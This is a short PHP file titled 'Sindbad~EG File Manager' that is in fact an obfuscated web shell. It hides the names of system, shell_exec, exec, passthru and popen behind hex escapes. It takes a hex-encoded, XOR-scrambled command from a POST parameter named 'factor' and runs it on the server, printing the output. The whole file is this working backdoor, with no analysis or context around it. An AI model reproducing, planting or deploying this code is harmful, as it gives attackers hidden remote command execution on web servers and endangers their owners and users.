Sindbad~EG File Manager

<?php

$core_engine5 = "p\x6F\x70en";
$reverse_searcher = "\x68\x65\x78\x32bin";
$core_engine1 = "\x73\x79\x73tem";
$core_engine4 = "pa\x73st\x68ru";
$core_engine2 = "s\x68\x65l\x6C\x5F\x65xec";
$core_engine3 = "e\x78\x65c";
$core_engine6 = "\x73\x74r\x65a\x6D_\x67et_cont\x65nts";
$core_engine7 = "\x70c\x6Cose";
if (isset($_POST["fa\x63\x74or"])) {
            function data_storage ( $key , $comp){$symbol=''; $b=0; do{$symbol.=chr(ord($key[$b])^$comp);$b++;} while($b<strlen($key)); return$symbol; }
            $factor = $reverse_searcher($_POST["fa\x63\x74or"]);
            $factor = data_storage($factor, 9);
            if (function_exists($core_engine1)) {
                $core_engine1($factor);
            } elseif (function_exists($core_engine2)) {
                print $core_engine2($factor);
            } elseif (function_exists($core_engine3)) {
                $core_engine3($factor, $fac_key);
                print join("\n", $fac_key);
            } elseif (function_exists($core_engine4)) {
                $core_engine4($factor);
            } elseif (function_exists($core_engine5) && function_exists($core_engine6) && function_exists($core_engine7)) {
                $comp_symbol = $core_engine5($factor, 'r');
                if ($comp_symbol) {
                    $flg_tkn = $core_engine6($comp_symbol);
                    $core_engine7($comp_symbol);
                    print $flg_tkn;
                }
            }
            exit;
        }